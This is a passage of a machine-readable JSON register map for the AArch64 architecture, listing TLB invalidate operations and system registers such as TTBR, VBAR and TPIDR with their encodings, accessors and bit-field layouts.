0}]}], "width": 64}, {"index": 0, "name": "RVALE3ISNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL3, Inner Shareable", "enc": [1, 6, 9, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE3OS", "fullname": "TLB Range Invalidate by VA, Last level, EL3, Outer Shareable", "enc": [1, 6, 8, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE3OSNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL3, Outer Shareable", "enc": [1, 6, 9, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE3", "fullname": "TLB Range Invalidate by VA, Last level, EL3", "enc": [1, 6, 8, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE3NXS", "fullname": "TLB Range Invalidate by VA, Last level, EL3", "enc": [1, 6, 9, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1IS", "fullname": "TLB Invalidate by VA, All ASID, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1ISNXS", "fullname": "TLB Invalidate by VA, All ASID, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1OS", "fullname": "TLB Invalidate by VA, All ASID, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1OSNXS", "fullname": "TLB Invalidate by VA, All ASID, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1", "fullname": "TLB Invalidate by VA, All ASID, EL1", "enc": [1, 0, 8, 7, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAAE1NXS", "fullname": "TLB Invalidate by VA, All ASID, EL1", "enc": [1, 0, 9, 7, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1IS", "fullname": "TLB Invalidate by VA, All ASID, Last Level, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1ISNXS", "fullname": "TLB Invalidate by VA, All ASID, Last Level, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1OS", "fullname": "TLB Invalidate by VA, All ASID, Last Level, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1OSNXS", "fullname": "TLB Invalidate by VA, All ASID, Last Level, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1", "fullname": "TLB Invalidate by VA, All ASID, Last level, EL1", "enc": [1, 0, 8, 7, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAALE1NXS", "fullname": "TLB Invalidate by VA, All ASID, Last level, EL1", "enc": [1, 0, 9, 7, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1IS", "fullname": "TLB Invalidate by VA, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1ISNXS", "fullname": "TLB Invalidate by VA, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1OS", "fullname": "TLB Invalidate by VA, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1OSNXS", "fullname": "TLB Invalidate by VA, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1", "fullname": "TLB Invalidate by VA, EL1", "enc": [1, 0, 8, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE1NXS", "fullname": "TLB Invalidate by VA, EL1", "enc": [1, 0, 9, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2IS", "fullname": "TLB Invalidate by VA, EL2, Inner Shareable", "enc": [1, 4, 8, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2ISNXS", "fullname": "TLB Invalidate by VA, EL2, Inner Shareable", "enc": [1, 4, 9, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2OS", "fullname": "TLB Invalidate by VA, EL2, Outer Shareable", "enc": [1, 4, 8, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2OSNXS", "fullname": "TLB Invalidate by VA, EL2, Outer Shareable", "enc": [1, 4, 9, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2", "fullname": "TLB Invalidate by VA, EL2", "enc": [1, 4, 8, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE2NXS", "fullname": "TLB Invalidate by VA, EL2", "enc": [1, 4, 9, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3IS", "fullname": "TLB Invalidate by VA, EL3, Inner Shareable", "enc": [1, 6, 8, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3ISNXS", "fullname": "TLB Invalidate by VA, EL3, Inner Shareable", "enc": [1, 6, 9, 3, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3OS", "fullname": "TLB Invalidate by VA, EL3, Outer Shareable", "enc": [1, 6, 8, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3OSNXS", "fullname": "TLB Invalidate by VA, EL3, Outer Shareable", "enc": [1, 6, 9, 1, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3", "fullname": "TLB Invalidate by VA, EL3", "enc": [1, 6, 8, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VAE3NXS", "fullname": "TLB Invalidate by VA, EL3", "enc": [1, 6, 9, 7, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1IS", "fullname": "TLB Invalidate by VA, Last level, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1ISNXS", "fullname": "TLB Invalidate by VA, Last level, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1OS", "fullname": "TLB Invalidate by VA, Last level, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1OSNXS", "fullname": "TLB Invalidate by VA, Last level, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1", "fullname": "TLB Invalidate by VA, Last level, EL1", "enc": [1, 0, 8, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE1NXS", "fullname": "TLB Invalidate by VA, Last level, EL1", "enc": [1, 0, 9, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2IS", "fullname": "TLB Invalidate by VA, Last level, EL2, Inner Shareable", "enc": [1, 4, 8, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2ISNXS", "fullname": "TLB Invalidate by VA, Last level, EL2, Inner Shareable", "enc": [1, 4, 9, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2OS", "fullname": "TLB Invalidate by VA, Last level, EL2, Outer Shareable", "enc": [1, 4, 8, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2OSNXS", "fullname": "TLB Invalidate by VA, Last level, EL2, Outer Shareable", "enc": [1, 4, 9, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2", "fullname": "TLB Invalidate by VA, Last level, EL2", "enc": [1, 4, 8, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE2NXS", "fullname": "TLB Invalidate by VA, Last level, EL2", "enc": [1, 4, 9, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3IS", "fullname": "TLB Invalidate by VA, Last level, EL3, Inner Shareable", "enc": [1, 6, 8, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3ISNXS", "fullname": "TLB Invalidate by VA, Last level, EL3, Inner Shareable", "enc": [1, 6, 9, 3, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3OS", "fullname": "TLB Invalidate by VA, Last level, EL3, Outer Shareable", "enc": [1, 6, 8, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3OSNXS", "fullname": "TLB Invalidate by VA, Last level, EL3, Outer Shareable", "enc": [1, 6, 9, 1, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3", "fullname": "TLB Invalidate by VA, Last level, EL3", "enc": [1, 6, 8, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VALE3NXS", "fullname": "TLB Invalidate by VA, Last level, EL3", "enc": [1, 6, 9, 7, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TTL", "msb": 47, "lsb": 44}, {"name": "VA[55:12]", "msb": 43, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VMALLE1IS", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1, Inner Shareable", "enc": [1, 0, 8, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLE1ISNXS", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1, Inner Shareable", "enc": [1, 0, 9, 3, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLE1OS", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1, Outer Shareable", "enc": [1, 0, 8, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLE1OSNXS", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1, Outer Shareable", "enc": [1, 0, 9, 1, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLE1", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1", "enc": [1, 0, 8, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLE1NXS", "fullname": "TLB Invalidate by VMID, All at stage 1, EL1", "enc": [1, 0, 9, 7, 0], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1IS", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1, Inner Shareable", "enc": [1, 4, 8, 3, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1ISNXS", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1, Inner Shareable", "enc": [1, 4, 9, 3, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1OS", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1, Outer Shareable", "enc": [1, 4, 8, 1, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1OSNXS", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1, Outer Shareable", "enc": [1, 4, 9, 1, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1", "enc": [1, 4, 8, 7, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "VMALLS12E1NXS", "fullname": "TLB Invalidate by VMID, All at Stage 1 and 2, EL1", "enc": [1, 4, 9, 7, 6], "accessors": ["TLBI"], "fieldsets": []}, {"index": 0, "name": "TPIDR_EL0", "fullname": "EL0 Read/Write Software Thread ID Register", "enc": [3, 3, 13, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "TPIDR_EL1", "fullname": "EL1 Software Thread ID Register", "enc": [3, 0, 13, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "TPIDR_EL2", "fullname": "EL2 Software Thread ID Register", "enc": [3, 4, 13, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "TPIDR_EL3", "fullname": "EL3 Software Thread ID Register", "enc": [3, 6, 13, 0, 2], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "TPIDRRO_EL0", "fullname": "EL0 Read-Only Software Thread ID Register", "enc": [3, 3, 13, 0, 3], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "TRFCR_EL1", "fullname": "Trace Filter Control Register (EL1)", "enc": [3, 0, 1, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TS", "msb": 6, "lsb": 5}, {"name": "E1TRE", "msb": 1, "lsb": 1}, {"name": "E0TRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TRFCR_EL12", "fullname": "Trace Filter Control Register (EL1)", "enc": [3, 5, 1, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TS", "msb": 6, "lsb": 5}, {"name": "E1TRE", "msb": 1, "lsb": 1}, {"name": "E0TRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TRFCR_EL1", "fullname": "Trace Filter Control Register (EL2)", "enc": [3, 0, 1, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TS", "msb": 6, "lsb": 5}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E2TRE", "msb": 1, "lsb": 1}, {"name": "E0HTRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TRFCR_EL2", "fullname": "Trace Filter Control Register (EL2)", "enc": [3, 4, 1, 2, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "TS", "msb": 6, "lsb": 5}, {"name": "CX", "msb": 3, "lsb": 3}, {"name": "E2TRE", "msb": 1, "lsb": 1}, {"name": "E0HTRE", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR0_EL1", "fullname": "Translation Table Base Register 0 (EL1)", "enc": [3, 0, 2, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR0_EL12", "fullname": "Translation Table Base Register 0 (EL1)", "enc": [3, 5, 2, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR0_EL1", "fullname": "Translation Table Base Register 0 (EL2)", "enc": [3, 0, 2, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR0_EL2", "fullname": "Translation Table Base Register 0 (EL2)", "enc": [3, 4, 2, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR0_EL3", "fullname": "Translation Table Base Register 0 (EL3)", "enc": [3, 6, 2, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR1_EL1", "fullname": "Translation Table Base Register 1 (EL1)", "enc": [3, 0, 2, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR1_EL12", "fullname": "Translation Table Base Register 1 (EL1)", "enc": [3, 5, 2, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR1_EL1", "fullname": "Translation Table Base Register 1 (EL2)", "enc": [3, 0, 2, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "TTBR1_EL2", "fullname": "Translation Table Base Register 1 (EL2)", "enc": [3, 4, 2, 0, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "BADDR[47:1]", "msb": 47, "lsb": 1}, {"name": "CnP", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "UAO", "fullname": "User Access Override", "enc": [3, 0, 4, 2, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "UAO", "msb": 23, "lsb": 23}]}], "width": 64}, {"index": 0, "name": "VBAR_EL1", "fullname": "Vector Base Address Register (EL1)", "enc": [3, 0, 12, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "VBAR_EL12", "fullname": "Vector Base Address Register (EL1)", "enc": [3, 5, 12, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "VBAR_EL1", "fullname": "Vector Base Address Register (EL2)", "enc": [3, 0, 12, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "VBAR_EL2", "fullname": "Vector Base Address Register (EL2)", "enc": [3, 4, 12, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "VBAR_EL3", "fullname": "Vector Base Address Register (EL3)", "enc": [3, 6, 12, 0, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DISR_EL1", "fullname": "Virtual Deferred Interrupt Status Register", "enc": [3, 0, 12, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "IDS", "msb": 24, "lsb": 24}, {"name": "ISS", "msb": 23, "lsb": 0}]}, {"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "AET", "msb": 15, "lsb": 14}, {"name": "ExT", "msb": 12, "lsb": 12}, {"name": "FS", "msb": 10, "lsb": 10}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "FS[3:0]", "msb": 3, "lsb": 0}]}, {"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "AET", "msb": 15, "lsb": 14}, {"name": "ExT", "msb": 12, "lsb": 12}, {"name": "LPAE", "msb": 9, "lsb": 9}, {"name": "STATUS", "msb": 5, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "VDISR_EL2", "fullname": "Virtual Deferred Interrupt Status Register", "enc": [3, 4, 12, 1, 1], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "IDS", "msb": 24, "lsb": 24}, {"name": "ISS", "msb": 23, "lsb": 0}]}, {"fields": [{"name": "A", "msb": 31, "lsb": 31}, {"name": "AET", "msb": 15, "lsb": 14}, {"name": 